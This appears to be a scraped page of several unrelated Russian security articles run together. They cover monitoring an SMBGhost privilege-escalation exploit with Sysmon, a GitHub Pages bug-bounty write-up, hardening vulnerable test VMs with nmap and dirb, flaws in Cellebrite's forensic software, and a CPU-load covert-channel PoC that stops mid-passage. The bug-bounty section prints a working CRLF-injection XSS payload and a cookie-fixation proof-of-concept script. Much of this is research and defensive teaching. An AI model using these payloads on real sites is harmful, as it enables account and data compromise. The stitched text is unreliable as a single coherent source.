- Android Developer. Professional

В прошлой статье мы собрали данные для того чтобы мониторить эксплуатацию уязвимости в Windows Server, который имеет роль контроллера домена. В этой статье мы попытаемся понять есть ли возможность мониторить остальные классы эксплойтов с помощью инструментов ELK, Zabbix или Prometheus.

Классификация эксплойтов с точки зрения мониторинга

Уязвимость - несовершенство программного обеспечения. В простом случае это причина почему приложение не может выполнить свою задачу и завершает работу аварийно.

Можно ли все уязвимости отследить? Попробуем собрать факты воедино. Факт 1 уязвимости с точки зрения их использования для достижения целей компрометации или вывода из строя информационной системы можно условно поделить на:

1. Уязвимости приводящие к аварийному завершению работы приложения

2. Уязвимости позволяющие запустить дополнительные команды в уязвимой системе

Стоит отметить, что для обеих групп мы можем мониторить только последствия или зависимые события.

Первая группа уязвимостей достаточно просто мониторится системами ELK, Zabbix и Prometheus. Недоступность пострадавшей системы тут же будет выведено на общий мониторинг.

Не так всё просто со вторым типом. Дело в том, что именно эти уязвимости имеют довольно большое количество вариаций. И как правило связаны с теми подсистемами, где важен порядок и скорость действий системы. В эти подсистемы очень сложно добавить механизмы снятия информации для мониторинга.

чтобы понять насколько много этих уязвимостей их список по популярности появления в программном обеспечении можно найти здесь.

Факт 2 - всего классов уязвимостей задокументировано - 699. Интересная цифра, но это тоже верхнеуровневая абстракция, на самом деле и у этих 699 уязвимостей тоже есть вариации.

Что особенного среди 699 групп уязвимостей? Особенность заключается в том, что большую часть этих уязвимостей в силу своей природы достаточно проблематично обнаружить. К примеру, группа CWE-120. Группа уязвимостей основной смысл которых заключается в том, что программист не верно рассчитал количество памяти, которое нужно было приложению для работы с определенным объектом. В результате у атакующего есть возможность влиять на заполнение памяти процесса. В ряде случаев это может привести к выполнению передаваемых злоумышленником команд.

Очень редко современные операционные системы предоставляют в своих логах события, которые позволяют обнаруживать такого рода уязвимости. Более того эти уязвимости если и есть в программном обеспечении их изучить или задетектировать можно только если перевести приложение в режим отладки, что не является для большинства приложений обычным режимом работы.

Получается память для мониторинга недоступна? На самом деле это не так. Любая система мониторинга и даже логи операционных систем могут включать информацию о том как потребляется память приложениями. Можно эти данные наблюдать в режиме реального времени с помощью различного софта типа VMMap. Софт может показывать количество страниц памяти, которое используется, освобождается, резервируется и т.д. Что же это нам дает?

Ни одна уязвимость, которая была описана выше не может быть полезной для атакующего без специального метода её использования. У всех 699 групп есть свои способы и подходы, которые позволяют уязвимость использовать для выполнения команд. Иногда это отдельные паттерны программирования, иногда это набор последовательности функций, а иногда это просто список уязвимостей, которые используются в совокупности чтобы выполнить результирующую операцию. Поэтому для детектирования факта эксплуатации нам нужно:

• понимать как работает эксплойт, идеально если будет исходный код

• иметь возможность расширить набор событий в системных логах ОС

Тактика обнаружения на основании списка Mitre

Уязвимости сами по себе могут быть не видны на средствах мониторинга. При использовании возможностей только операционной системы. Иногда сами вендоры, видя популярность уязвимости могут создать отдельные события, которые помогают локализовать эксплуатацию уязвимости.

В случае с уязвимостью CVE-2020-1472 Microsoft добавила специальные события, которые генерируются, если система использует уязвимые алгоритмы. Нам же придется искать закономерности самостоятельно и использовать эти закономерности для мониторинга. Возможно даже придется прибегнуть к сторонним программным продуктам.

Для примера сбора таких закономерностей будем использовать эксплойт к уязвимости CVE-2020-0796. Основная проблема уязвимости - переполнение целочисленного элемента, который используется для контроля размера выделяемой приложением памяти. В сети можно найти 2 сценария использования уязвимости:

1. Remote Code Execution

2. Local Priveledge Escalation

Первый весьма нестабилен, выполнения команд от него добиться достаточно сложно. Однако из-за того что уязвимость находится в ядре, падение ОС будет зарегистрировано мониторингом по-умолчанию.

Попробуем разобраться со второй. Проект на github предоставляет исходный код на языке программирования C++. Попробуем локализовать основные операциии, которые выполняет эксплойт.

Инициализация её код можно найти ниже:

Создается сокет на loopback интерфейсе и 445 порту. Далее эксплойт будет создавать в специальном формате пакет и отправит его на созданный сокет. Произойдет переполнение размера выделенной памяти в ядре ОС и код перетрёт память, которая относилась к primary токену основного процесса. С этими данными будет создан новый процесс cmd.exe. Как создается этот процесс? Эти данные можно найти в исходнике:

К сожалению, среди событий логов обнаружить ничего не удалось, так как все действия работали динамически в оперативной памяти и не задействовали стандартные механизмы получения доступа к объектам. Журнал "Security" тоже не будет содержать никакой информации. Что же делать? Есть 2 варианта:

1. Использовать IDS для loopback интерфейса

2. Использовать Endpoint защиту

Мы выберем 3-й путь. В ОС Windows есть возможность расширить список событий, которые будет генерировать система. Это возможно сделать с помощью инструмента SysMon. Чтобы инструмент мог генерировать нужные события, ему необходим конфиг, где и перечислены необходимые данные. Есть уже готовый. Причем если мы хотим поотслеживать события с loopback интерфейсом, нужно убрать следующие строки:

...<RuleGroup name="" groupRelation="or">        <NetworkConnect onmatch="exclude">            ...            <DestinationIp condition="is">127.0.0.1</DestinationIp> <==удалить            <DestinationIp condition="begin with">fe80:0:0:0</DestinationIp> <==удалить        </NetworkConnect>    </RuleGroup>...

Все данные по событиям выкладываются в системные журналы. Для Windows 10 можно использовать вот этот путь: Applications and Services Logs\Microsoft\Windows\Sysmon\Operational.

Для установки в систему конфига и Sysmon нужно набрать следующую команду:

sysmon.exe -accepteula -i sysmonconfig-export.xml

Запустим эксплойт и заглянем в лог Sysmon:

А вот и наш файл засветился, которым пользовались для эксплуатации. Теперь будет просто написать шаблон для этого события и мониторить их в Zabbix. Предлагаем читателю настроить самостоятельно. Это, кстати можно сделать по похожему сценарию из предыдущей статьи.

P.S. Для систем на базе Linux тоже скоро будет SysMon.

Когда я нашёл эту уязвимость и сообщил о ней, она стала моим первым оплаченным баг-репортом на HackerOne. $35,000 это также самая высокая награда, которую я получил от HackerOne (и я считаю, что самая высокая оплата от GitHub на сегодня). Многие найденные ошибки, кажется, это удача и интуиция, вместе взятые. В этом посте я расскажу, как мыслил, приближаясь к цели.

Как началась история

Ковид ударил весной, в первый год старшей школы. От нечего делать между онлайн-занятиями я начал охоту за багами. Конкретно эта награда была за сообщение об уязвимости приватных страниц Github в рамках программы Баг Баунти. В частности, было и два бонуса CTF (capture the flag состязание по типу захвата флага, здесь в информационной безопасности):

• $10000 чтение флага flag.private-org.github.io без взаимодействия с пользователем. Бонус в $5000 за то, что флаг читается с аккаунта внутри приватной организации.

• $5000: чтение флага flag.private-org.github.io через взаимодействие с пользователем.

Поток аутентификации

Страницы GitHub размещаются в отдельном домене github.io, поэтому куки-файлы аутентификации github.com не отправляются на сервер приватных страниц. Таким образом, аутентификация частной страницы не имеет возможности определить личность пользователя без дополнительной интеграции с github.com, поэтому GitHub создал собственный поток аутентификации. И ввёл возможность существования багов. На момент отчёта этот поток выглядел так:

А теперь подробнее.

При посещении приватной страницы сервер проверяет, существует ли файл куки __Host-gh_pages_token. Если этот файл не установлен или установлен неправильно, сервер приватной страницы перенаправит на https://github.com/login. Этот начальный редирект также устанавливает nonce, который хранится в куки __Host-gh_pages_session.

Обратите внимание, что этот куки использует префикс куки __Host-, который, в теории, в качестве дополнительной защиты в глубину, предотвращает его установку из JS с родительского домена.

/login перенаправляет на /pages/auth?nonce=&page_id=&path=. Затем эта конечная точка генерирует временный куки-файл аутентификации, который она передаёт https://pages-auth.github.com/redirect в параметре token; nonce, page_id, и path присылаются аналогично.

/redirect просто перенаправляет на https://repo.org.github.io/__/auth. Эта последняя конечная точка затем устанавливает куки аутентификации для домена repo.org.github.io, __Host-gh_pages_token и __Host-gh_pages_id. Также вместе с ранее установленным __Host-gh_pages_session на валидность проверяется nonce.

На протяжении всего потока аутентификации такая информация, как исходный путь запроса и идентификатор страницы, хранится в параметрах запроса path и page_id соответственно. Nonce также передаётся в параметре nonce. Хотя поток аутентификации, возможно, немного изменился (отчасти из-за этого отчёта), общая идея остаётся прежней.

Эксплоит

CRLF возвращается

Первая уязвимость CRLF-инъекция в параметре page_id запроса https://repo.org.github.io/__/auth.

Возможно, лучший способ найти уязвимые места поиграть. Исследуя поток аутентификации, я заметил, что парсинг page_id, похоже, игнорировал пробельные символы. Интересно, что он также рендерил параметр непосредственно в заголовок Set-Cookie. К примеру, page_id=12345%20 вернул это:

Set-Cookie: __Host-gh_pages_id=12345 ; Secure; HttpOnly; path=/

Псевдокод предположительно такой:

page_id = query.page_iddo_page_lookup(to_int(page_id))set_page_id_cookie(page_id)

Другими словами, page_id преобразуется в целое число, а также отображается напрямую в заголовок Set-Cookie. Проблема была в том, что мы не можем отобразить текст напрямую. Несмотря на то, что у нас была классическая CRLF-инъекция, размещение любых непробельных символов привело к поломке парсинга целого. Мы могли бы прервать поток аутентификации, отправив page_id=12345%0d%0a%0d%0a, но, кроме интересного ответа, никакого немедленного воздействия не было.

; Secure; HttpOnly; path=/Cache-Control: privateLocation: https://83e02b43.near-dimension.github.io/X-GLB-L

Дополнительное примечание: заголовок Location: был добавлен после заголовка Set-Cookie, поэтому наш ответ Location выталкивает за пределы отправленных HTTP-заголовков. Это редирект на 302, но, несмотря на это, заголовок Location игнорируется и отображается содержимое тела.

Из грязи в князи

Немного просмотрев на GitHub Enterprise (который дал доступ к исходному коду), я заподозрил, что сервер приватных страниц реализован на Nginx OpenResty. Будучи относительно низкоуровневым, возможно, он имел проблемы с нулевыми байтами. А попытка не пытка, правильно?

Оказалось, что добавление нулевого байта прерывает парсинг целого. Другими словами, можно передать такую полезную нагрузку:

"?page_id=" + encodeURIComponent("\r\n\r\n\x00<script>alert(origin)</script>")

А вот и XSS!

Обратите внимание, что, если в заголовке есть нулевой байт, ответ будет отклонён. Таким образом, нулевой байт должен прийти в начале тела (это означает, что мы не можем выполнить атаку через инъекцию в заголовок).

Мы добились выполнения произвольного JavaScript на странице приватного домена. Единственная проблема нужен способ обойти nonce. Параметры page_id и path известны, а nonce не позволяет нам отправлять жертв вниз по потоку аутентификации с отравленным page_id. Нам нужно либо зафиксировать, либо спрогнозировать nonce.

Обходим nonce

Первое наблюдение поддомены одной организации могут устанавливать куки-файлы друг на друга. Так происходит потому, что *.github.io нет в публичном списке суффиксов. Таким образом установленные на private-org.github.io куки передаются на private-page.private-org.github.io.

Nonce обойти будет легко, если мы как-то сможем обойти защиту префикса __Host-. Просто установим фальшивый nonce на страницу поддомена того же уровня, значение будет передано ниже. К счастью, этот префикс не принудителен во всех браузерах...

Ну, ладно... неправильно говорить не во всех. Похоже, в смысле этого обхода уязвим только IE. Придётся постараться. А что, если атаковать сам nonce? генерация выглядит надёжной, и, если честно, криптография не моя сильная сторона. Найти обход применяемой в nonce энтропии, несмотря ни на что, это казалось маловероятным. Как же тогда зафиксировать nonce?

Вернёмся к истокам RFC. В конце концов, я наткнулся на интересную идею как нормализовать куки? В частности, как следует обращаться с куки с учётом верхнего регистра. "__HOST-" это то же самое, что "__Host-"? Легко убедиться, что в браузерах с куками разного регистра обращаются по-разному:

document.cookie = "__HOST-Test=1"; // worksdocument.cookie = "__Host-Test=1"; // fails

Оказывается, сервер приватных страниц GitHub при разборе куки-файлов игнорирует заглавные буквы. И у нас есть префиксный обход. А теперь собираем доказательство концепции атаки XSS!

<script>const id = location.search.substring("?id=".length)document.cookie = "__HOST-gh_pages_session=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15; domain=.private-org.github.io";location = "https://github.com/pages/auth?nonce=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15&page_id=" + id + "%0d%0a%0d%0a%00<script>alert(origin)%3c%2fscript>&path=Lw";</script>

Уже этого достаточно, чтобы заработать бонус в $5000. Но я хотел посмотреть, получится ли продвинуться дальше.

Отравление кэша

И вот ещё один недостаток дизайна выяснилось, что в ответ на конечную точку /__/auth? кэшировалось только целое значение page_id. Само по себе это безвредно: установленный этой конечной точкой токен скопирован на личную страницу и не имеет никаких других привилегий.

В то же время такая практика в проектировании несколько сомнительна. Получение токенами дополнительных привилегий потенциально может стать источником проблем безопасности.

Независимо от этого, такое кэширование лёгкий способ усугубить атаку. Поскольку он делается на разобранном целочисленном значении, успешная атака на кэш с полезной нагрузкой XSS может повлиять на других пользователей, которые даже не взаимодействовали с вредоносной нагрузкой, как показано ниже:

Злоумышленник контролирует unprivileged.org.github.io и хочет добраться до privileged.org.github.io. Он атакует поток аутентификации unprivileged.org.github.io и полезная нагрузка XSS кэшируется.

Когда привилегированный пользователь посещает unprivileged.org.github.io, он подвергается XSS атаке на домен unprivileged.org.github.io. Куки могут устанавливаться на общем родительском домене org.github.io, поэтому теперь злоумышленник может атаковать privileged.org.github.io.

Эти действия позволяют любому злоумышленнику с разрешениями на чтение приватной страницы постоянно атаковать поток аутентификации этой страницы. Ё-моё!

Публичные и приватные страницы

Чтобы получить бонус 15000 долларов, нужно выполнить эту атаку с учётной записи пользователя, которого в организации нет. И нам везёт: мы можем злоупотребить тем, что кажется ещё одной ошибкой конфигурации разделением страниц на публичные и приватные.

Ошибка в конфигурации приватных страниц позволяет публичным репозиториям также иметь свои собственные приватные страницы. После обычной аутентификации эти страницы открыты для всех. Если такая публично-приватная страница есть у организации, она доступна для чтения любому пользователю Github. Получить доступ можно так:

Это происходит, когда репозиторий приватных страниц делают публичным. Ситуация вполне правдоподобна: например, организация может изначально создать приватный репозиторий с соответствующей приватной страницей. Позже она может решить открыть исходный код проекта, изменив статус репозитория на общедоступный.

В комбинации с изложенным выше получается, что непривилегированный пользователь вне организации может с опорой на приватно-публичную страницу скомпрометировать потоки аутентификации внутренних приватных страниц.

В целом это даёт хорошее доказательство концепции, показывающее, как злоумышленник извне может использовать сотрудника организации, чтобы перейти на другие приватные страницы.

Так мы заработали максимальный бонус CTF. Устойчивость достигается отравлением кэша или другим техниками, которые мы оставим читателям в качестве упражнения.

Заключение

Этой уязвимости присвоили высокий приоритет, базовая выплата составила 20 000 долларов, а с бонусом CTF мы заработали 35 000 долларов. Довольно круто, что такая относительно малоизвестная уязвимость, как инъекция CRLF, обнаружилась на GitHub. Хотя большая часть кода написана на Ruby, некоторые компоненты, такие как аутентификация приватной страницы, написаны не на этом языке и могут быть уязвимы к низкоуровневым атакам. В общем, везде, где есть сложные взаимодействия, ошибки только ждут, чтобы мы их нашли.

Обнаруженная уязвимость кажется одной на миллион. Это как продеть нитку в иголку должен выстроиться целый ряд событий. В то же время, думаю, чтобы найти нечто подобное, требуется в меру развитая интуиция и навыки, которые как раз можно получить на курсе Этичный хакер.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

В преддверии старта курса "Administrator Linux. Professional" подготовили статью, автором которой является Александр Колесников. Если вам интересно узнать подробнее об обучении на курсе, приходите на демо-день курса.

В предыдущей статье рассматривался пример уязвимых машин, которые создавались для того чтобы их использовать в практике тестирования систем на наличие уязвимостей. Эта статья расскажет как нестандартно можно обнаружить уязвимости в системах, если мы, к примеру, получили их уже в работоспособном состоянии и их ни в коем случае нельзя выводить из строя, а продолжать поддерживать.

Hardening

Процесс закрытия возможных уязвимостей на совершенно неизвестной машине это достаточно серьезный вызов. Во-первых, никогда не знаешь какой сервис перестанет работать если изменить отдельную настройку файрволла или всей операционной системы.

Проблема достаточно не нова, и естественно есть руководства на 100500 страниц, которые, если правильно им следовать должны спасти от неминуемых проблем. Примеры таких руководств можно найти тут, тут и тут. Список далеко не полный, представлены лишь самые интересные с точки зрения автора.

Но это статья не о том как пройтись по списку формально описанных действий и придумать как их реализовать. Давайте попробуем сделать немного иначе. Что если прибегнуть к помощи не администраторских инструментов, а пентестерских?

В наборе любого энтузиаста или профессионального пентестера есть проект или скрипт, который должен проверять стандартные отклонения от безопасной конфигурации для различных систем. Обычно концентрируются на самых популярных: Windows, Linux, macOS. И именно в этой последовательности, потому что они настолько популярны в энтерпрайз среде.

Для закрытия всех векторов атак разобьем их группы:

1. Атаки, которые работают в приложениях доступных во внешний мир

2. Атаки, которые работают внутри ОС и их цель повышение привилегий

Для первого вида атак можно использовать сканеры безопасности. Мы будем использовать набор инструментов машины Kali Linux. Это nmap, Burp Suite и т.д.

Для второго типа атак предлагаем ознакомиться с вот этим проектом. Так как процедура поиска неверных конфигураций в большинстве случаев детерминирована, то это просто автоматизировать. Запускаем команду для получения данных конфигурации и парсим результат готово. Использовать скрипы достаточно просто, необходимо выбрать нужный для платформы и скопировать его в рабочую директорию уязвимой машины. Скрипты не запускают никаких атак, единственная их задача это показать, что уязвимость может присутствовать в системе и предложить ссылку на статью с атакой. Скрипт это автоматизация и поэтому следует ожидать, что он может давать ложные срабатывания на вероятные уязвимости. Каждый отдельный случай придётся рассматривать отдельно.

Уязвимые стенды

Чтобы сделать процесс еще более непредсказуемее. Пронумеруем создаваемые машины и будем генерировать номер машины по следующей команде:

echo $RANDOM % 5 + 1 | bc

Скрипт подразумевает, что на каждый его запуск будет создана рандомная уязвимая машина, которую и нужно поправить, чтобы нельзя было её взломать тем способом, который был заложен в нее при сборке. Дополнительное условие на вмешательство каким бы простым и бесполезным не выглядел сервис внутри этой машины, он должен продолжить функционировать после внесения изменений.

В сравнении с прошлым нашим экспериментом, теперь все машины будут иметь разные классы уязвимостей. С помощью них можно будет не только повысить привилегии, но и просто выполнить команды от имени пользователя.

Эксперимент

Для первого эксперимента будем использовать вот этот box. Проведем эксперимент в 2 этапа.

Этап 1 поиск уязвимых конфигураций и сервисов работающих снаружи сервера. Первые команды для запуска:

nmap -n -A -p- --max-rate=1000 machine.ip.address

В результате вот такой список сервисов, которые видны извне сервера:

У нас есть доступ к пользователю внутри машины, поэтому еще попробуем узнать какие порты открыты:

netstat -tulpn

Получается, что единственный сервис на 80м порту. Проведем сбор данных о структуре веб-приложений, которые могут там работать:

dirb http://machine.ip.address

Итог работы инструмента:

Похоже, что это wordpress. в директориях сервера лежит версия WordPress 5.6 и плагин "contact-form". Для этого набора данных очень хорошо подходит CVE-2020-35489. Тестовый скрипт можно найти тут. Попробуем протестировать сервис. Скрипт так и не захотел работать, но по сути их него функциональна только одна строка, которая отправляет запрос на адрес "/wp-content/plugins/contact-form-7/readme.txt". Если его выполнить, то можно увидеть, что используемый плагин может быть уязвим для атаки.

Мы точно не знаем как работает данный сервис и нужен ли уязвимый плагин для того чтобы он по прежнему предоставлял свои услуги. Попробуем его оставить как есть. Добавим только дополнительный плагин на сервер - WAF. Можно использовать вот этот. Он будет оборонять уязвимый плагин на нашем сервере, а как только появится возможность, установим обновления и закроем эту уязвимость.

Второй этап тестирования. Запускаем скрипт, который описывали выше и ждем результата. Ниже приведем выводы скрипта:

Первая конфигурационная уязвимость. Как видно из снимка, нас интересуют те записи, которые выделены красным цветом. На самом деле это единственная уязвимость, не считая наличие пользователя vagrant в системе.

Таким образом можно получить информацию о уязвимостях на незнакомом сервере. Дальнейшие исправления зависят от функциональности сервера. Читателю предлагается так же пройти эксперимент самостоятельно, но использовать вот этот box.

Узнать подробнее о курсе "Administrator Linux. Professional"

Компания Cellebrite производит программное обеспечение для автоматизации извлечения и индексирования данных с мобильных устройств. Они работают в "серой" зоне, где корпоративный брендинг идёт бок о бок с "цифровой разведкой", если конечно можно так называть воровство.

В список их клиентов входят авторитарные режимы в Беларуси, России, Венесуэле и Китае; отряды смерти в Бангладаше; военные хунты в Мьянме; а также те, кто жаждет насилия и гнёта в Турции, ОАЭ и других странах.

Несколько месяцев назад они объявили, что добавили в своё программное обеспечение поддержку Signal.

Их продукты часто связывали с преследованиями журналистов и активистов по всему миру, но о том, как их программы работают и что они делают в действительности было написано гораздо меньше. Поскольку программы Cellebrite ассоциируются с обходом систем защиты, давайте уделим некоторое время изучению безопасности их собственных программ.

Предыстория

Во-первых, всё, что касается Cellebrite, начинается с того, что кто-то другой уже держит ваше устройство в руках. Cellebrite не осуществляет перехвата данных или удалённого наблюдения. Их основных программных продукта два (и оба для Windows): UFED и Physical Analyzer (физический анализатор).

UFED создаёт резервную копию вашего устройства на машине под управлением Windows (по сути, это фронтенд для adb backup на Android и резервной копией от iTunes на iPhone, с извлечением некоторых дополнительных данных). После создания резервной копии, Physical Analyzer затем разбирает файлы из резервной копии, чтобы отобразить данные в обозримом виде.

Когда компания Сellebrite объявила, что они добавили поддержку мессенджера Signal, это на самом деле означало то, что в Physical Analyzer они добавили поддержку для форматов файлов, используемых Signal. Это позволяет Physical Analyzer отображать данные мессенджера, которые были извлечены из разблокированного устройства, находящегося в физическом владении пользователя Cellebrite.

Если кто-то держит ваше разблокированное устройство в руках, то он может открыть любое приложение и делать скриншоты всего, что в нём есть, чтобы сохранить их и повторно посмотреть их позже. По сути, Cellebrite автоматизирует этот процесс для того, кто физически владеет вашим устройством.

В нужное время, в нужном месте...

По поистине невероятному стечению обстоятельств, недавно я выходил на прогулку и увидел, как маленький кейс упал с грузовика впереди меня. По мере моего приближения, скучный корпоративный шрифт на кейсе постепенно становился всё более чётким. Подойдя вплотную, я увидел: "Cellebrite".

Внутри него мы нашли последние версии программного обеспечения Cellebrite, железный замочек, предназначенный для предотвращения пиратства (это кое-что говорит о их клиентах, наверное), и необычайно большое количество переходников и адаптеров для кабелей.

Программное обеспечение

Любой, кто знаком с программной безопасностью, сразу поймёт, что основно задачей программного обеспечения Cellebrite является анализ "ненадёжных" ("untrusted") данных из самых разных форматов, используемых различными приложениями. То есть, данные, которые программное обеспечение Cellebrite должно извлекать и отображать, в конечном счёте, генерируются и контролируются приложениями на устройстве, а не "доверенным" источником, поэтому Cellebrite не может делать никаких предположений о "правильности" упорядоченных данных, которые он получает. Вот в этом месте возникают практически все уязвимости в безопасности.

Поскольку почти весь код Сellebrite существует для разбора недоверенных входных данных, которые могут быть отформатированы неожиданным образом для эксплуатации повреждения памяти или других уязвимостей в обрабатываемых программах, можно ожидать, что Cellebrite действуют крайне осторожно.

Однако, глядя на UFED и Physical Analyzer, мы были удивлены, обнаружив, что, кажется, очень мало заботы было уделено безопасности собственного программного обеспечения Сellebrite. Отраслевые стандарты защиты от эксплойтов отсутствуют, и есть много разных возможностей для эксплуатации.

В качестве лишь одного примера (не связанного с тем, что следует далее), их программное обеспечение укомплектовано с библиотеками FFmpeg, которые были скомпилированы ещё в 2012 году, и в дальнейшем не менялись. За это время было выпущено более ста обновлений безопасности для FFmpeg, ни одно из которых не было применено в Сellebrite.

Уязвимости

Учитывая количество имеющихся возможностей, мы обнаружили, что можно выполнить произвольный код на машине с Cellebrite, просто добавив специально отформатированный, но в остальном безобидный файл в любое приложение на устройстве, которое впоследствии подключается к Cellebrite и сканируется. Ограничений на код, который может быть выполнен, практически нет.

Например, таким образом можно выполнить код, который модифицирует не только созданный в этом сканировании отчёт Сellebrite, но и все предыдущие и будущие отчёты Cellebrite со всех ранее отсканированных устройств, а также со всех будущих устройств любым произвольным способом (вставляя или удаляя текст, электронную почту, фотографии, контакты, файлы или любые другие данные), без каких-либо обнаруживаемых изменений временных меток или сбоях в проверках контрольных сумм. Это даже может быть сделано случайным образом, что серьёзно подставит под сомнение целостность данных в отчётах Cellebrite.

Любое приложение может содержать такой файл, и до тех пор, пока Cellebrite не сможет точечно устранить все уязвимости в своём программном обеспечении, с чрезвычайно высокой степенью уверенности можно сказать, что единственное средство, которое есть у пользователя Cellebrite - это не сканировать устройства. Cellebrite может снизить риск для своих пользователей, обновив их программное обеспечение, чтобы прекратить сканирование приложений, которые Сellebrite посчитает очень рискованными для такого типа проблем целостности данных, но даже это не является гарантией.

Мы же, конечно, готовы ответственно сообщать Cellebrite о конкретных уязвимостях, известных нам, если они сделают тоже самое для всех уязвимостей, которые они используют в физическом извлечении данных с устройств, а также в других сервисах их соответствующим поставщикам, сейчас и в будущем.

Ниже приведён пример видео эксплойта для UFED (аналогичные эксплойты существуют и для Physical Analyzer). В видео, UFED достигает файла, который выполняет произвольный код на машине Cellebrite. Этот эксплойт использует MessageBox в Windows API, чтобы отобразить диалоговое окно с сообщением. Это делается в демонстрационных целях; можно выполнить любой код, и реальный эксплойт, скорее всего, попытается скрытным образом изменить предыдущие отчёты, подорвать целостность будущих отчётов (возможно, случайным образом!) или извлечь данные с машины Cellebrite.

Авторское право

Ещё, из интересного, установщик для Physical Analyzer содержит два пакета установщиков MSI под названием AppleApplicationsSupport64.msi и AppleMobileDeviceSupport6464.msi. Эти два пакета MSI имеют цифровую подпись Apple и, кажется, были извлечены из установщика для Windows программы iTunes версии 12.9.0.167.

Программа установки Physical Analyzer устанавливает эти MSI-пакеты на C:\Program Files\Common Files\Apple. Они содержат библиотеки (DLL), реализующие тот функционал, который iTunes использует для взаимодействия с iOS устройствами.

Cellebrite iOS Advanced Logical Tool загружает эти библиотеки Apple и использует их функциональность для извлечения данных с мобильных устройств на базе iOS. На скриншоте ниже показано, что библиотеки от Apple загружаются в процесс UFED iPhone Logical.exe, который является именем для процесса iOS Advanced Logical Tool.

Нам кажется маловероятным, что Apple предоставила Сellebrite лицензию на повторное распространение и включение собственных библиотек в продукты Cellebrite, так что этот факт может понести за собой определённые юридические риски для Сellebrite и их пользователей.

Совершенно не связанное

По странному совпадению, будущие версии мессенджера Signal будут периодически загружать файлы для размещения в хранилище приложения (App Storage). Эти файлы никогда не используются ни для чего внутри Signal и никогда не взаимодействуют с самим мессенджером или данными, но они просто выглядят эстетично, а эстетика в программном обеспечении важна.

Такие файлы будут создаваться только для постоянных пользователей приложения в течении некоторого времени, и только в низком процентном соотношении, основанном на шардинге телефонных номеров.

У нас есть несколько различных версий файлов, которые мы считаем эстетически привлекательными, и с течением времени мы будем их медленно перебирать. Иного предназначения у этих файлов нет.

В интернете кто-то неправ

Не далее пяти дней назад на хабре появилась новость под заголовком "В Apple M1 нашли уязвимость M1RACLES возможна быстрая скрытая передача данных между приложениями". В одном предложении суть формулируется так: в Apple M1 нашли регистр, который кто угодно может читать и писать из непривилегированного режима. Значит, это можно использовать для обмена данными в обход механизмов межпроцессного взаимодействия, предоставленных ОС. Однако, сам автор эту особенность значимой уязвимостью не считает, о чём пишет в разъяснительном комментарии:

So what's the point of this website?
Poking fun at how ridiculous infosec clickbait vulnerability reporting has become lately. Just because it has a flashy website or it makes the news doesn't mean you need to care.

If you've read all the way to here, congratulations! You're one of the rare people who doesn't just retweet based on the page title :-)

But how are journalists supposed to know which bugs are bad and which bugs aren't?
Talk to people. In particular, talk to people other than the people who discovered the bug. The latter may or may not be honest about the real impact.

If you hear the words covert channel it's probably overhyped. Most of these come from paper mills who are endlessly recycling the same concept with approximately zero practical security impact. The titles are usually clickbait, and sometimes downright deceptive.

В комментариях к этой публикации развязалась умеренно оживлённая дискуссия о статусе находки: всё-таки серьёзная уязвимость или пустяк? Наряду с @SergeyMaxи @wataru я обратил внимание, что каналов скрытого обмена и так существует предостаточно просто потому, что исполняющая клиентский софт или виртуальные машины аппаратура является разделяемой средой, грамотная модуляция состояний которой делает возможным произвольный обмен данными вне зависимости от инвариантов нижележащей ОС или гипервизора. Противоположной точки зрения придерживаются почтенные господа @creker и @adjachenko, утверждая, что доселе известные побочные каналы качественно уступают возможностям M1RACLES.

Эта заметка является наглядной иллюстрацией к моему утверждению о легкодоступности скрытых каналов обмена. Я собрал простой PoC из ~500 строк на C++, при помощи которого был успешно отправлен файл из одной виртуальной машины в другую на том же физическом хосте. Далее я кратко описываю его устройство, пределы применимости, и привожу выводы и мнение самого автора M1RACLES в конце.

Я не являюсь специалистом по информационной безопасности, поэтому чрезмерно полагаться на мои собственные выводы в конце статьи не следует.

Передача

Повторю ключевой тезис для прозрачности: в общем случае, полная информационная изоляция исполняемых на едином аппаратном узле сред невозможна, потому что общая среда исполнения является разделяемым ресурсом, модуляция состояний которого может использоваться для построения каналов обмена данными. Гипервизоры, MMU, ОС, и прочие информационные барьеры могут лишь затруднить скрытый обмен данными, но не предотвратить его.

В случае M1RACLES, Apple случайно положила подходящий аппаратный ресурс на самое видное место. В других платформах общих регистров может не быть, но остаются другие средства. Сегодня мы сфокусируемся на вычислительных ресурсах процессора; любознательный читатель может в качестве факультатива слегка модифицировать код PoC, чтобы вместо процессорного времени модуляции подвергались, скажем, температура видеокарты, задержка доступа к файловой системе или RAM (забиванием кэша), и т.п.

Известная теория обработки сигналов предлагает метод кодовой модуляции, широко применяемый для широкополосной передачи через зашумлённую среду. Кодовая модуляция позволяет получателю вытянуть полезный сигнал из-под шумовой полки, если известна кодирующая последовательность; для остальных же наблюдателей (включая приёмники с другой кодирующей последовательностью) сигнал будет выглядеть как шум. Единая среда может поддерживать теоретически неограниченное количество передатчиков с разными кодирующими последовательностями при условии их достаточного различия.

Мы будем передавать высокие уровни кодирующего сигнала повышая нагрузку на процессор, и наоборот:

void drivePHY(const bool level, const std::chrono::nanoseconds duration){    static auto deadline = std::chrono::steady_clock::now();    deadline += duration;  // Используем абсолютное время для предотвращения дрейфа фазы сигнала    if (level)  // Передаём высокий уровень высокой нагрузкой    {        std::atomic<bool> finish = false;        const auto loop = [&finish]() {            while (!finish) { }        };        static const auto thread_count = std::max<unsigned>(1, std::thread::hardware_concurrency());        std::vector<std::thread> pool;        for (auto i = 0U; i < (thread_count - 1); i++)        {            pool.emplace_back(loop);        }        while (std::chrono::steady_clock::now() < deadline) { }        finish = true;        for (auto& t : pool)        {            t.join();        }    }    else  // Низкий уровень -- низкой нагрузкой    {        std::this_thread::sleep_for(deadline - std::chrono::steady_clock::now());    }}

В примере мы нагружаем все ядра, что весьма расточительно. Можно нагружать лишь одно ядро, если ОС предоставляет API для задания CPU core affinity (macOS, насколько мне известно, не предоставляет), но это создаст трудности в преодолении барьеров виртуализации, потому что одно ядро внутри гипервизора может отображаться на другое физическое ядро хоста. Однако, если API для affinity есть, и нет нужды пробрасывать канал передачи между изолированными виртуальными средами, можно сделать так:

#include <pthread.h>  // -lpthreadcpu_set_t cpuset{};CPU_ZERO(&cpuset);CPU_SET(0, &cpuset);pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

Как уже сказано, один бит передаётся прямым или инверсным кодом:

